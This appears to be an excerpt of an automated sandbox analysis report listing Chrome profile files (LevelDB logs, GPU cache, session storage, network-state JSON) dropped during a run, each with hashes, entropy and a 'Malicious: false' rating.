Preview:	2021/10/18-22:45:40.235 794 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database/MANIFEST-000001.2021/10/18-22:45:40.237 794 Recovering log #3.2021/10/18-22:45:40.238 794 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\GPUCache\data_1 Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Reputation:	low
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Local Storage\leveldb\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	432
Entropy (8bit):	5.251734862851495
Encrypted:	false
SSDEEP:	6:mTdWTq2P923iKKdKusNpV/2jMGIFUtCdWoZmwAdWRnFzkwO923iKKdKusNpV/2jz:oUTv45KkFFUtCUo/AURnFz5L5KkOJ
MD5:	8EB5361770A56DE097658016C790BED6
SHA1:	5AA7332ED54FEE98DBBE15B09A41A5E7BF94C5F2
SHA-256:	7B2E9F7791B7EC9F71BFEB5987ACB09AC808B4D8576DC763532EC632983BE924
SHA-512:	E018E4F5A1D9662FAC80F9026F43A8428D489220733391AFC638BB6BE1BAFFE7A305161B0D75F64C245214DC350CFA89EB947735184F3D7FCC6FAADAE87A398A
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:45:40.831 1360 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Local Storage\leveldb/MANIFEST-000001.2021/10/18-22:45:40.833 1360 Recovering log #3.2021/10/18-22:45:40.834 1360 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Local Storage\leveldb\LOG.old (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	432
Entropy (8bit):	5.251734862851495
Encrypted:	false
SSDEEP:	6:mTdWTq2P923iKKdKusNpV/2jMGIFUtCdWoZmwAdWRnFzkwO923iKKdKusNpV/2jz:oUTv45KkFFUtCUo/AURnFz5L5KkOJ
MD5:	8EB5361770A56DE097658016C790BED6
SHA1:	5AA7332ED54FEE98DBBE15B09A41A5E7BF94C5F2
SHA-256:	7B2E9F7791B7EC9F71BFEB5987ACB09AC808B4D8576DC763532EC632983BE924
SHA-512:	E018E4F5A1D9662FAC80F9026F43A8428D489220733391AFC638BB6BE1BAFFE7A305161B0D75F64C245214DC350CFA89EB947735184F3D7FCC6FAADAE87A398A
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:45:40.831 1360 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Local Storage\leveldb/MANIFEST-000001.2021/10/18-22:45:40.833 1360 Recovering log #3.2021/10/18-22:45:40.834 1360 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Network Persistent State.h (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	325
Entropy (8bit):	4.956993026220225
Encrypted:	false
SSDEEP:	6:YHpoNXR8+eq7JdV5rAcJksDHF4R8HLJ2AVQBR70S7PMVKJw1K3KnMRK3VY:YHO8sdVAsBdLJlyH7E4f3K33y
MD5:	0C03D530AC97788D62D27B2802C34D83
SHA1:	20F78B6B32D98FA52846C70DF78E4E5CEF663E2D
SHA-256:	7941FADA9867DAAE08EBC196BAFC6952DD506842C3E7D8FB14DF9D4E402D894B
SHA-512:	D5905C124060997A14322D12DECE5C00C63F7174743C740C974D00E88B03F203909CC2AC972B2759E8087B0B10F6306C6E66BF853319B5AC96907F34C8456C80
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248542588505091","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Platform Notifications\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	431
Entropy (8bit):	5.315826618972786
Encrypted:	false
SSDEEP:	6:mT/+q2P923iKKdKusNpqz4rRIFUtCyXZmwAhd3VkwO923iKKdKusNpqz4q8LJ:oGv45KkmiuFUtCyX/AhdF5L5Kkm2J
MD5:	E50602A8359D53C40F4BF2B6A6C9FA2B
SHA1:	032610EC7A9405A4275701A2D1A97AFCD75A3F2D
SHA-256:	BF7992DF4221A08149E5739CAC9EFA3250490C8DAD132374C16ACA89A764C3C4
SHA-512:	9619036FC019CFDDBA19EC42B20D8953431ECAE3EA77C972108C2047D1D1E64E2E0118E398ADF0DB82D1EF590D67092186BBEA5E002F3D2548B9F1AE66129203
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:45:40.993 748 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Platform Notifications/MANIFEST-000001.2021/10/18-22:45:40.996 748 Recovering log #3.2021/10/18-22:45:40.997 748 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Platform Notifications/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Platform Notifications\LOG.old (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	431
Entropy (8bit):	5.315826618972786
Encrypted:	false
SSDEEP:	6:mT/+q2P923iKKdKusNpqz4rRIFUtCyXZmwAhd3VkwO923iKKdKusNpqz4q8LJ:oGv45KkmiuFUtCyX/AhdF5L5Kkm2J
MD5:	E50602A8359D53C40F4BF2B6A6C9FA2B
SHA1:	032610EC7A9405A4275701A2D1A97AFCD75A3F2D
SHA-256:	BF7992DF4221A08149E5739CAC9EFA3250490C8DAD132374C16ACA89A764C3C4
SHA-512:	9619036FC019CFDDBA19EC42B20D8953431ECAE3EA77C972108C2047D1D1E64E2E0118E398ADF0DB82D1EF590D67092186BBEA5E002F3D2548B9F1AE66129203
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:45:40.993 748 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Platform Notifications/MANIFEST-000001.2021/10/18-22:45:40.996 748 Recovering log #3.2021/10/18-22:45:40.997 748 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Platform Notifications/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage\000003.log Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Reputation:	low
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	420
Entropy (8bit):	5.273073818543468
Encrypted:	false
SSDEEP:	6:mTHLAmq2P923iKKdKusNpZQMxIFUtCHL4IZmwAHLGukvzkwO923iKKdKusNpZQMT:orAmv45KkMFUtCr5/Arn0z5L5KkTJ
MD5:	AE18C2F786887F982A10CDCE7ABA8C76
SHA1:	28676D429068940342470962942DF24BB7280EC1
SHA-256:	8E70F0AD16D95E048C1BE7A4B6FC0A7F934E2C418346F09E4664E8D3703F3C3E
SHA-512:	50A44555B17DCD75B39C8903C6E321ACCB34F49B55CFC31623ACFE1972B91E2525A0361A8C453C7F686A73FBC540FCFACF9FFB0BF5666B8A7BC24111F6029CBE
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:45:57.562 1720 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage/MANIFEST-000001.2021/10/18-22:45:57.563 1720 Recovering log #3.2021/10/18-22:45:57.564 1720 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage\LOG.oldca (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	420
Entropy (8bit):	5.273073818543468
Encrypted:	false
SSDEEP:	6:mTHLAmq2P923iKKdKusNpZQMxIFUtCHL4IZmwAHLGukvzkwO923iKKdKusNpZQMT:orAmv45KkMFUtCr5/Arn0z5L5KkTJ
MD5:	AE18C2F786887F982A10CDCE7ABA8C76
SHA1:	28676D429068940342470962942DF24BB7280EC1
SHA-256:	8E70F0AD16D95E048C1BE7A4B6FC0A7F934E2C418346F09E4664E8D3703F3C3E
SHA-512:	50A44555B17DCD75B39C8903C6E321ACCB34F49B55CFC31623ACFE1972B91E2525A0361A8C453C7F686A73FBC540FCFACF9FFB0BF5666B8A7BC24111F6029CBE
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:45:57.562 1720 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage/MANIFEST-000001.2021/10/18-22:45:57.563 1720 Recovering log #3.2021/10/18-22:45:57.564 1720 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\ddc13123-4f58-4cc4-b5ac-c1a25ce09681.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	325
Entropy (8bit):	4.956993026220225
Encrypted:	false
SSDEEP:	6:YHpoNXR8+eq7JdV5rAcJksDHF4R8HLJ2AVQBR70S7PMVKJw1K3KnMRK3VY:YHO8sdVAsBdLJlyH7E4f3K33y
MD5:	0C03D530AC97788D62D27B2802C34D83
SHA1:	20F78B6B32D98FA52846C70DF78E4E5CEF663E2D
SHA-256:	7941FADA9867DAAE08EBC196BAFC6952DD506842C3E7D8FB14DF9D4E402D894B
SHA-512:	D5905C124060997A14322D12DECE5C00C63F7174743C740C974D00E88B03F203909CC2AC972B2759E8087B0B10F6306C6E66BF853319B5AC96907F34C8456C80
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248542588505091","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1 Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Reputation:	low
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	432
Entropy (8bit):	5.209684364777664
Encrypted:	false
SSDEEP:	12:oAv45KkkGHArBFUt5+/Xy5L5KkkGHAryJ:oy45KkkGgPg5Q8L5KkkGga
MD5:	32CFC0DC1DBBD07EDC0727369D0738FB
SHA1:	4D3C5BA02C516415CBB03C5B32D10C1BCA4E9F48
SHA-256:	1282C9AF7DF65DE0BA474A27F7C61D3A14E219F44EC4AA24268AAC3C0146DD7C
SHA-512:	C6678844141BCCC4BFD900843BD41F04F77F87C27DA3F760FABEE68AD03A335693A3AEBEFEE788F3C487EA7BC01E319309E9B903440CEDF1C3385C06918886E2
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:46:37.788 1720 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb/MANIFEST-000001.2021/10/18-22:46:37.791 1720 Recovering log #3.2021/10/18-22:46:37.791 1720 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\LOG.old (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	432
Entropy (8bit):	5.209684364777664
Encrypted:	false
SSDEEP:	12:oAv45KkkGHArBFUt5+/Xy5L5KkkGHAryJ:oy45KkkGgPg5Q8L5KkkGga
MD5:	32CFC0DC1DBBD07EDC0727369D0738FB
SHA1:	4D3C5BA02C516415CBB03C5B32D10C1BCA4E9F48
SHA-256:	1282C9AF7DF65DE0BA474A27F7C61D3A14E219F44EC4AA24268AAC3C0146DD7C
SHA-512:	C6678844141BCCC4BFD900843BD41F04F77F87C27DA3F760FABEE68AD03A335693A3AEBEFEE788F3C487EA7BC01E319309E9B903440CEDF1C3385C06918886E2
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:46:37.788 1720 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb/MANIFEST-000001.2021/10/18-22:46:37.791 1720 Recovering log #3.2021/10/18-22:46:37.791 1720 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network Persistent State (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	325
Entropy (8bit):	4.976576189225149
Encrypted:	false
SSDEEP:	6:YHpoNXR8+eq7JdV5OV/sDHF4R8HLJ2AVQBR70S7PMVKJw1K3KnMRK3VY:YHO8sdysBdLJlyH7E4f3K33y
MD5:	5886A009EB58EE06A16EFD6D1BA9A046
SHA1:	A867B5052F3FBB811693DF8CE3FDAA794F2F2E40
SHA-256:	9E3392126DE2D81D019E0AB3E17F20BADD0EC9FBD944BCB7C4DAF449D937D496
SHA-512:	D24F30A2E35F903AC10AACC4425C58BECB1C6BE2BA30A3C2B9D9D46CE04914AA71F55B3B16ED89081AD65A7090C77F5DC4A258B7B98D71E6A994D176536FBB27
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248542597817103","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Platform Notifications\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.243988805015517
Encrypted:	false
SSDEEP:	12:4v45KkkGHArqiuFUtH9/MP5L5KkkGHArq2J:K45KkkGgCgyBL5KkkGg7
MD5:	A4171F6A35C717276265CAD9FC75B545
SHA1:	E185FCD39B04CFBA8F5D0DDAB8A63CE1F3D91659
SHA-256:	9500D789E342BC13DA872F73ECA223CC6483C8107E30998DCB78EFD3B54CB115
SHA-512:	071A3EBB3158FB8C0CEA5F9E22B46D8B4A046B58A6433016B5CB9B615209C0233FE393287A4238956E63DA91EB5588205FD682C7FFD6EC9FFEF2A51BB1765F41
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:46:37.806 1524 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Platform Notifications/MANIFEST-000001.2021/10/18-22:46:37.808 1524 Recovering log #3.2021/10/18-22:46:37.809 1524 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Platform Notifications/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Platform Notifications\LOG.old (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.243988805015517
Encrypted:	false
SSDEEP:	12:4v45KkkGHArqiuFUtH9/MP5L5KkkGHArq2J:K45KkkGgCgyBL5KkkGg7
MD5:	A4171F6A35C717276265CAD9FC75B545
SHA1:	E185FCD39B04CFBA8F5D0DDAB8A63CE1F3D91659
SHA-256:	9500D789E342BC13DA872F73ECA223CC6483C8107E30998DCB78EFD3B54CB115
SHA-512:	071A3EBB3158FB8C0CEA5F9E22B46D8B4A046B58A6433016B5CB9B615209C0233FE393287A4238956E63DA91EB5588205FD682C7FFD6EC9FFEF2A51BB1765F41
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:46:37.806 1524 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Platform Notifications/MANIFEST-000001.2021/10/18-22:46:37.808 1524 Recovering log #3.2021/10/18-22:46:37.809 1524 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Platform Notifications/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage\000003.log Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Reputation:	low
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	417
Entropy (8bit):	5.213400283965044
Encrypted:	false
SSDEEP:	12:qEOv45KkkGHArAFUtl9/E5L5KkkGHArfJ:LM45KkkGgkglEL5KkkGgV
MD5:	098504B075E682EC11190A46E45A8EDE
SHA1:	A6D55478C975CB0710CB862479C1797621510AF7
SHA-256:	D0FAE2F69379DCDF2D89445497C1C743391077F43FD26FCC65BB5B70C3ACAB29
SHA-512:	A3FB9595403A7F814587FA07CD98A524E44C11E52F223F518D2A4C4BBB7C9B20D47612701331202424953682BA2F5B48050346D5836615CB04347AC032DEA36E
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:46:53.096 324 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage/MANIFEST-000001.2021/10/18-22:46:53.098 324 Recovering log #3.2021/10/18-22:46:53.099 324 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage\LOG.oldca (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	417
Entropy (8bit):	5.213400283965044
Encrypted:	false
SSDEEP:	12:qEOv45KkkGHArAFUtl9/E5L5KkkGHArfJ:LM45KkkGgkglEL5KkkGgV
MD5:	098504B075E682EC11190A46E45A8EDE
SHA1:	A6D55478C975CB0710CB862479C1797621510AF7
SHA-256:	D0FAE2F69379DCDF2D89445497C1C743391077F43FD26FCC65BB5B70C3ACAB29
SHA-512:	A3FB9595403A7F814587FA07CD98A524E44C11E52F223F518D2A4C4BBB7C9B20D47612701331202424953682BA2F5B48050346D5836615CB04347AC032DEA36E
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:46:53.096 324 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage/MANIFEST-000001.2021/10/18-22:46:53.098 324 Recovering log #3.2021/10/18-22:46:53.099 324 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\f0e26f58-a0a8-4910-b320-788f100e271d.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	325
Entropy (8bit):	4.976576189225149
Encrypted:	false
SSDEEP:	6:YHpoNXR8+eq7JdV5OV/sDHF4R8HLJ2AVQBR70S7PMVKJw1K3KnMRK3VY:YHO8sdysBdLJlyH7E4f3K33y
MD5:	5886A009EB58EE06A16EFD6D1BA9A046
SHA1:	A867B5052F3FBB811693DF8CE3FDAA794F2F2E40
SHA-256:	9E3392126DE2D81D019E0AB3E17F20BADD0EC9FBD944BCB7C4DAF449D937D496
SHA-512:	D24F30A2E35F903AC10AACC4425C58BECB1C6BE2BA30A3C2B9D9D46CE04914AA71F55B3B16ED89081AD65A7090C77F5DC4A258B7B98D71E6A994D176536FBB27
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248542597817103","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\000003.log Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	160
Entropy (8bit):	3.0217164415295743
Encrypted:	false
SSDEEP:	3:sLollttz6sjlGXU2tk0lkGgGgGgGgGg:qolXtWswXU2tkEtttt
MD5:	DE92AD90BE6D3364745B2F73F4C3CF73
SHA1:	9158681463BD30E5AF4DDA4BAAC81F93CEDBDA77
SHA-256:	0025A3E0D3B834401B3B5F820E1991EF7E810D9A4B8B6B579E6301C94E7031A0
SHA-512:	9E81CEFC195439439F4B23EE7696309D7BC3C08E5B444D2ABDE26D2F12B2D3BCFD124FB9A2D40C6389E9F787741676FAD366A2E9982674E7B931028C014D8A79
Malicious:	false
Reputation:	low
Preview:	...n'................_mts_schema_descriptor.....F..................F..................F..................F..................F..................F................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.200595326442036
Encrypted:	false
SSDEEP:	6:mTXOxVq2P923iKKdKpIFUtCXoT2gZmwAXSVk0IkwO923iKKdKa/WLJ:oXOxVv45KkmFUtCXO2g/AXm7I5L5KkaQ
MD5:	68FC2D6860EED7D3E3F976468D833ADC
SHA1:	9C631D293459BDFB605EFC103870E76917E1AC8E
SHA-256:	B463B5F8CED2E3AF02315493A1DCADA7B7188AF16B377760A77C09B56424603A
SHA-512:	58431A43C140923196B8929434AEC9D0061B0FD491A8362633CD46BDB9F2F7E09A6035E728D499507F1CD66DB4C6662A95B67A193AFC537C7B9ACFC3C9BBD12B
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:45:40.263 1604 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2021/10/18-22:45:40.268 1604 Recovering log #3.2021/10/18-22:45:40.270 1604 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\LOG.old. (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.200595326442036
Encrypted:	false
SSDEEP:	6:mTXOxVq2P923iKKdKpIFUtCXoT2gZmwAXSVk0IkwO923iKKdKa/WLJ:oXOxVv45KkmFUtCXO2g/AXm7I5L5KkaQ
MD5:	68FC2D6860EED7D3E3F976468D833ADC
SHA1:	9C631D293459BDFB605EFC103870E76917E1AC8E
SHA-256:	B463B5F8CED2E3AF02315493A1DCADA7B7188AF16B377760A77C09B56424603A
SHA-512:	58431A43C140923196B8929434AEC9D0061B0FD491A8362633CD46BDB9F2F7E09A6035E728D499507F1CD66DB4C6662A95B67A193AFC537C7B9ACFC3C9BBD12B
Malicious:	false
Reputation:	low
